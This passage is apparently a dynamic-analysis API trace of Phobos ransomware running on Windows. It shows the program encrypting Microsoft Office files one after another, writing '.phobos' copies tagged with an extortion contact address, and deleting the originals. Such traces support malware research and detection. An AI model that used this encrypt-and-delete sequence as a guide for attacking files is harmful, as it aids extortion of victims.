lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=174528) returned 1 [0051.137] CloseHandle (hObject=0x2e4) returned 1 [0051.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0051.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.138] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.138] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.140] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccb0) returned 1 [0051.140] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.140] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2a9c0, lpOverlapped=0x0) returned 1 [0051.462] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2a9d0, dwBufLen=0x2a9d0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2a9d0) returned 1 [0051.463] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2a9d0, lpOverlapped=0x0) returned 1 [0051.466] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc30) returned 1 [0051.466] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.466] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0051.466] CryptDestroyKey (hKey=0x10cc30) returned 1 [0051.466] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0051.466] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0051.466] CloseHandle (hObject=0x2e4) returned 1 [0051.466] CloseHandle (hObject=0x318) returned 1 [0051.470] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0051.472] SetEvent (hEvent=0x2e8) returned 1 [0051.473] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.473] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=94467) returned 1 [0051.473] CloseHandle (hObject=0x318) returned 1 [0051.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0051.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.473] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.473] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.473] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0051.473] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.473] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x17103, lpOverlapped=0x0) returned 1 [0051.484] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x17110, dwBufLen=0x17110 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x17110) returned 1 [0051.484] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x17110, lpOverlapped=0x0) returned 1 [0051.486] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0051.486] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.486] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0051.486] CryptDestroyKey (hKey=0x10cf70) returned 1 [0051.486] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0051.486] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0051.486] CloseHandle (hObject=0x318) returned 1 [0051.486] CloseHandle (hObject=0x2e4) returned 1 [0051.489] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0051.491] SetEvent (hEvent=0x2e8) returned 1 [0051.491] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.491] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=36336) returned 1 [0051.491] CloseHandle (hObject=0x2e4) returned 1 [0051.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0051.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.492] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.492] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.492] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0051.493] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.493] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x8df0, lpOverlapped=0x0) returned 1 [0051.500] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x8e00, dwBufLen=0x8e00 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x8e00) returned 1 [0051.500] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x8e00, lpOverlapped=0x0) returned 1 [0051.502] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0051.502] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.502] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0051.502] CryptDestroyKey (hKey=0x10cab0) returned 1 [0051.502] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0051.502] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0051.502] CloseHandle (hObject=0x2e4) returned 1 [0051.502] CloseHandle (hObject=0x318) returned 1 [0051.504] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0051.505] SetEvent (hEvent=0x2e8) returned 1 [0051.505] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.506] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=387356) returned 1 [0051.506] CloseHandle (hObject=0x318) returned 1 [0051.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0051.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.507] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.507] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.508] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0051.508] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.508] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x5e91c, lpOverlapped=0x0) returned 1 [0051.788] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5e920, dwBufLen=0x5e920 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5e920) returned 1 [0051.789] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x5e920, lpOverlapped=0x0) returned 1 [0051.794] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0051.794] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.794] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0051.795] CryptDestroyKey (hKey=0x10d170) returned 1 [0051.795] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0051.795] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0051.795] CloseHandle (hObject=0x318) returned 1 [0051.795] CloseHandle (hObject=0x2e4) returned 1 [0051.801] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0051.804] SetEvent (hEvent=0x2e8) returned 1 [0051.805] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.805] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1533) returned 1 [0051.805] CloseHandle (hObject=0x2e4) returned 1 [0051.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0051.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.805] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.805] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.806] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf70) returned 1 [0051.806] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.806] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x5fd, lpOverlapped=0x0) returned 1 [0051.807] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x600, dwBufLen=0x600 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x600) returned 1 [0051.807] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x600, lpOverlapped=0x0) returned 1 [0051.808] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0051.808] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.808] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0051.808] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0051.808] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0051.809] CryptDestroyKey (hKey=0x10cf70) returned 1 [0051.809] CloseHandle (hObject=0x2e4) returned 1 [0051.809] CloseHandle (hObject=0x318) returned 1 [0051.809] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0051.810] SetEvent (hEvent=0x2e8) returned 1 [0051.810] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.811] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=800867) returned 1 [0051.811] CloseHandle (hObject=0x318) returned 1 [0051.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0051.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.811] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.811] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.812] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0051.812] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.812] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, 